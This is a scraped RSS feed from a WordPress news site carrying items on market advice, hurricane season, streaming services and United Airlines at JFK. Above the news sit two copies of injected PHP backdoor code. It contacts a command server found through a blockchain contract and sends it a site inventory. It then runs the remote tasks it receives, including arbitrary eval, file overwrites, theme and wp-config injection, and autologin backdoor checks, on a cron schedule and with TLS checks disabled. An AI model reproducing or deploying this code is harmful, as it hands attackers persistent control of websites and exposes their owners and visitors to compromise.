// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); there’ – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 22 Sep 2022 14:18:03 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png there’ – Brief News https://briefnews.eu 32 32 The best returns come when markets are depressed as they are now, but there will be more pain for 6-12 months, billionaire David Rubenstein says https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/ https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/#respond Thu, 22 Sep 2022 14:18:03 +0000 https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/ Carlyle Group co-founder and co-founder David Rubenstein.

Getty Images

  • Billionaire David Rubenstein thinks the market downswing is a buying opportunity. 
  • Still, he said he expects more turmoil in the next six to 12 months. 
  • The Carlyle co-founder told CNBC that investors shouldn't exit markets too soon. 

Now isn't the time for investors to run for the door despite worrying signs of an prolonged downturn in the market, according to David Rubenstein. 

The Carlyle Group co-founder told CNBC on Thursday that when markets show signs of depression like today, there's an opportunity to step in and yield a strong return over the long term. 

In other words, buy the dip and hold on. 

"What Warren Buffet and others have done historically is buy when the markets are cheap or when there's blood in the streets," he said. "Right now is not a time to panic and rush out of the markets, in my view."

He added that while some traders are growing anxious, "the best returns probably come from times when markets are depressed like this." 

Rubenstein cautioned that market volatility will most likely continue into the next six to 12 months, and said "if you go in and stay in now, you're probably going to do pretty well."

On Wednesday, the US Federal Reserve hiked benchmark interest rates by an additional 75 basis points, a move that Wall Street had largely priced in. Central bank chair Jerome Powell reiterated that the Fed's main goal is taming inflation, and that more steep rate hikes were likely on the horizon. 

Read the original article on Business Insider

https://i.insider.com/632c5cb5f576c60018fc3295?format=jpeg

]]> https://briefnews.eu/the-best-returns-come-when-markets-are-depressed-as-they-are-now-but-there-will-be-more-pain-for-6-12-months-billionaire-david-rubenstein-says/feed/ 0 ‘There Swings a Skull’ Seeks Sacrifices to Stem Climate Catastrophe https://briefnews.eu/there-swings-a-skull-seeks-sacrifices-to-stem-climate-catastrophe/ https://briefnews.eu/there-swings-a-skull-seeks-sacrifices-to-stem-climate-catastrophe/#respond Wed, 21 Sep 2022 17:23:31 +0000 https://briefnews.eu/there-swings-a-skull-seeks-sacrifices-to-stem-climate-catastrophe/ The scorching sun burns above Anatoli and Pyotr, demanding people die to dull its relentless heat in the eerie There Swings a Skull: Grim Tidings. Well, the sun itself isn’t doing the…

The post ‘There Swings a Skull’ Seeks Sacrifices to Stem Climate Catastrophe appeared first on Indie Games Plus.

]]> https://briefnews.eu/there-swings-a-skull-seeks-sacrifices-to-stem-climate-catastrophe/feed/ 0 This should be the absolute peak of hurricane season—but it’s dead quiet out there https://briefnews.eu/this-should-be-the-absolute-peak-of-hurricane-season-but-its-dead-quiet-out-there/ https://briefnews.eu/this-should-be-the-absolute-peak-of-hurricane-season-but-its-dead-quiet-out-there/#respond Sun, 11 Sep 2022 16:28:45 +0000 https://briefnews.eu/this-should-be-the-absolute-peak-of-hurricane-season-but-its-dead-quiet-out-there/
The Atlantic hurricane season peaks on September 10.

Enlarge / The Atlantic hurricane season peaks on September 10. (credit: NOAA)

To state the obvious: This has been an unorthodox Atlantic hurricane season.

Everyone from the US agency devoted to studying weather, oceans, and the atmosphere—the National Ocean and Atmospheric Administration—to the most highly regarded hurricane professionals predicted a season with above-normal to well above-normal activity.

For example, NOAA’s outlook for the 2022 Atlantic hurricane season, which runs from June 1 to November 30, predicted a 65 percent chance of an above-normal season, a 25 percent chance of a near-normal season and a 10 percent chance of a below-normal season. The primary factor behind these predictions was an expectation that La Niña would persist in the Pacific Ocean, leading to atmospheric conditions in the tropical Atlantic more favorable to storm formation and intensification. La Niña has persisted, but the storms still have not come in bunches.

Read 9 remaining paragraphs | Comments

]]> https://briefnews.eu/this-should-be-the-absolute-peak-of-hurricane-season-but-its-dead-quiet-out-there/feed/ 0 These 4 streaming services are likely to survive, says former Disney CEO: ‘There will be haves and have nots’ https://briefnews.eu/these-4-streaming-services-are-likely-to-survive-says-former-disney-ceo-there-will-be-haves-and-have-nots/ https://briefnews.eu/these-4-streaming-services-are-likely-to-survive-says-former-disney-ceo-there-will-be-haves-and-have-nots/#respond Thu, 08 Sep 2022 16:19:29 +0000 https://briefnews.eu/these-4-streaming-services-are-likely-to-survive-says-former-disney-ceo-there-will-be-haves-and-have-nots/ bob iger, disney
Iger.

David McNew/Reuters

  • Former Disney CEO Bob Iger says that he doesn't think all streaming services will survive.
  • But he is impressed by a select few, including, obviously, Disney+.
  • He also called out Netflix, Prime Video, and Apple TV+.

Bob Iger is optimistic about a handful of streaming services — but not all of them.

"I don't think they'll all make it," Iger said during an interview at Vox's annual Code Conference on Wednesday. "There will be haves and have nots."

The former Disney CEO who helped launch the Disney+ streaming service toward the end of his tenure declined to specify which he thinks are in trouble, but he called out a select few that impress him. Obviously, Disney+ is one of those; he said he's "clearly a big believer" in the service's longevity.

Disney+ has 152 million subscribers after just two-and-a-half years as of the end of Q2.  

Netflix is another, despite the streaming giant's recent woes. It's lost subscribers for two quarters in a row this year, a first for the company, and has conducted massive layoffs.

But it's still the leading streaming service with over 220 million subscribers worldwide, and is taking steps to address slowing growth with plans to introduce an ad-supported plan early next year.

"I believe that Netflix is going to continue to thrive," Iger said. "They have some issues now, but they're not going away."

He also acknowledged that tech giants Amazon and Apple made great strides in streaming with Prime Video and Apple TV+, respectively, saying that they'll both "continue to grow" (Neither company breaks out subscriber numbers).

"They're not primary businesses for them and they're measured, probably, by different standards in terms of bottom line, and they serve other purposes in those companies," Iger said.

"But they're not going to stand pat. They're going to continue to grow and they'll grow well. They've got deep pockets. They've got great access to consumers. They have strong technology platforms. They've proven they know how to do it. So they stay."

Read the original article on Business Insider

https://i.insider.com/631a0b89c3104e00125014b3?format=jpeg

]]> https://briefnews.eu/these-4-streaming-services-are-likely-to-survive-says-former-disney-ceo-there-will-be-haves-and-have-nots/feed/ 0 United Airlines threatens to stop services at New York’s JFK airport unless federal regulators let it run more flights there https://briefnews.eu/united-airlines-threatens-to-stop-services-at-new-yorks-jfk-airport-unless-federal-regulators-let-it-run-more-flights-there/ https://briefnews.eu/united-airlines-threatens-to-stop-services-at-new-yorks-jfk-airport-unless-federal-regulators-let-it-run-more-flights-there/#respond Wed, 07 Sep 2022 06:55:29 +0000 https://briefnews.eu/united-airlines-threatens-to-stop-services-at-new-yorks-jfk-airport-unless-federal-regulators-let-it-run-more-flights-there/ A United Airlines airplane taxis down the runway December 10, 2002 at JFK International airport in New York City.
United Airlines has been urging the Federal Aviation Administration to allow it more runway slots at New York City's John F. Kennedy Airport.

Mark Mainz/Getty Images

  • United Airlines said it would halt operations at JFK Airport if it doesn't get more flights.
  • It had leased many of its slots to Delta Air Lines when leaving JFK in 2015, but returned in 2021.
  • Now, it runs four daily flights involving JFK and is asking authorities to allow it more slots.

United Airlines said on Tuesday that it would drop its flying service at New York City's John F. Kennedy Airport if authorities don't grant the air carrier more slots to take off and land, per multiple media reports.

Its warning comes after United left JFK in 2015 to run flights at its hub in Newark, New Jersey, but later decided to return in 2021. It now runs far fewer daily takeoffs and landings because it had leased the rights for some of the slots to Delta Air Lines on its way out from JFK.

"If we are not able to get additional allocations for multiple seasons, we will need to suspend service at JFK, effective at the end of October," said an email sent by the airline to its employees on Tuesday, per Reuters.

The email stated that United has been urging the Federal Aviation Administration to allow it more runway slots "so that we can grow to be more competitive," the outlet reported.

Without that boost, United said it could not serve JFK "effectively compared to the larger schedules and more attractive flight times flown by our competitors," citing Jetblue Airways and American Airlines as examples, per Reuters.

The FAA uses flight slots to limit air traffic in major hubs toprevent and reduce congestion.

United currently runs two daily flights between Los Angeles and JFK and another two daily flights between JFK and San Francisco. 

The airline wrote in its memo that ceasing these services would "obviously be a tough and frustrating step to take and one that we have worked really hard to prevent," according to Bloomberg.

United said in the email that JFK's total flight capacity hasn't changed since 2008, even though the airport has since widened its runways and built multi-entrance taxiways, the outlet reported.

In 2015, the air carrier leased at least 24 permanent flight slots at JFK to Delta when it shifted most of its operations from the airport to its hub in Newark, where it contributes to the vast majority of air traffic. 

United had also attempted to obtain 24 takeoff and landing rights from Delta at the Newark airport, but federal authorities blocked the trade out of concern that it would allow the air carrier to establish a monopoly on flights there.

Last year, United returned to JFK, with CEO Scott Kirby calling the 2015 decision to leave the New York airport a "mistake."

However, since many of its takeoff and landing rights at JFK are leased to Delta, the air carrier has no access to these slots, United said in its email, per Bloomberg. 

Delta and United did not immediately respond to Insider's requests for comment after business hours.

The FAA told Bloomberg in a statement that new flights added at JFK would be distributed "fairly" among various airlines. "The agency must consider airspace capacity and runway capacity to assess how changes would affect flights at nearby airports," the statement read, according to the outlet.

